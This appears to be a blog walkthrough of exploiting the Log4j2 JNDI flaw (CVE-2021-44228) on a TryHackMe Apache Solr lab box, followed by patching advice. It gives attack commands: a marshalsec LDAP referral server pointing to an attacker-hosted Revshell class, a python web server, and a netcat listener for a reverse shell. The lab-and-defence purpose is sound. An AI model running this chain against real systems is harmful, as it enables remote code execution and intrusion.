What is CVE-2021-44228?
In the first half of December, 2021, ransomware attackers received the perfect Santa gift: an easily exploitable Log4j2 vulnerability. Log4j is a widely used, Java-based logging utility published by Apache initially in 2001. Since then it received many updates, and a major release to version 2. As of today, the latest patched version is 2.16.0 (December 13).
Today we use this flaw and open shell to our target machine.
About the vulnerability
However you may think that a logging tool only processes standard text files with proper input sanitising, well, not every time. Log4j allows us to do some extra lookups there, using templates. An example from Log4j website:
The vulnerability is based on the allowance of reaching JNDI (it is a directory service via a Java API, more info here) API through the mentioned lookup mechanism, and there is no restriction for using completely custom prefix in this parameter string. It means that if we use a jndi:ldap:// with an attacker host’s prepared LDAP server, dirty stuff can come (remote code execution). For the record we need to mention, that DNS or RMI protocols can work as well.
(Credit for the detailed explanation picture above: Fastly.)
Why is it so dangerous?
For multiple reasons: for first, it is very easily exploitable, any script kiddie can take advantage of that. Secondly, there are many affected services because of transitive dependencies. Tons of enterprise softwares use this logging mechanism as external lib. Third part is related to the second one, patching Log4j itself is not enough, you need to check and understand, if your enterprise “black-box” software components use this library or not, and if so, plan and carry out proper risk mitigation.
Exploitation example
We used Tryhackme box to test the exploit. These guys are committed to teach the people of the internet about awareness, security, penetration testing and many more, therefore I can frankly recommend you to give them a try.
Starting situation
So we have a vulnerable target computer, which we are allowed to hack. There is a limited VPN between this computer (10.10.17.246) and our own attacker machine (10.9.125.225) with Kali linux ran in Virtualbox.
Recon & discovery
Let’s check, if there are any services available with port scanning. Used an aggressive scanning (-A) because of the playing machine (no reason to remain silent), and a dedicated port range for seeing only the relevant port for us. (You should check all ports usually with flag -p-).
We see that Apache Solr is running on port 8983, let’s see it in the browser.
We see Log4j2 logging scheme, and it’s vulnerable, as it turns out after a short google-fu. The box itself cheats a bit here, because we can see logs from this host, which would be not available in a real situation. (In those circumstances, instead of watching the logs, we could use directory busting or other attack vectors for finding a vulnerable endpoint.)
We think that the template is parameterizable (params={}), and also see the /admin/cores endpoint. Here we are.
We learned from the vulnerability description that through lookups we can reach external ldap or dns servers. It works over TCP, let’s check what happens, if we try to catch that connection attempt with netcat.
Connection is established, but because of LDAP request structure, the output is not readable by humans. However, this is a good sign.
Exploitation
PoC was successful, now we need a process with a toolset, which can handle LDAP requests, and push an exploit to our Java-based application in an “understandable” format. Obviously, it will mean some kind of Java class(es) / POJO in this case.
The plan is to have an LDAP relay or referral server, and a simple http server, which can accept this connection and serve the Java class, which will open a reverse shell to our attacker computer.
For LDAP relay we use Marshalsec with Maven. I won’t go in details about the installation, it’s pretty straightforward and well-documented on Github.
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://10.9.125.225:8000/#Revshell'
As a webserver, you can use anything handy, we prefer python3 http server.
python3 -m http.server
So LDAP will use Revshell.class on python webserver, but there is nothing yet. This is the last preparation step.
Let’s compile it with javac Revshell.java and copy the class into the python webserver directory. Do not forget that the vulnerability has Java related requirements (pref. Java 7-8 for the build). We used OpenJDK 1.8.0_181.
Run the listener, which will accept the reverse connection, and fingers crossed.
nc -nltvp 1234
Here is our setup as a whole:
A short video about getting everything ready.
This easy it is to break into systems and receive remote shell via the new Log4j2 vulnerability. It is not a coincidence, that the CVE score of it is 9.7 out of 10, while the CVSS score is 10 out of 10. Absolutely critical.
What can we do to save our infrastructure?
Patch, patch, patch. Log4j has released fix for the base components, but as we earlier mentioned, we need to cover custom softwares and transitive dependencies as well. Watch the list of vulnerable softwares, contact your vendors, use WAF with proper string filtering, analyse activities, log files and traces. There are a couple online services (e.g. Trendmicro, which provide remote checks of these threats. We do not recommend these, only if you can truly trust in them.
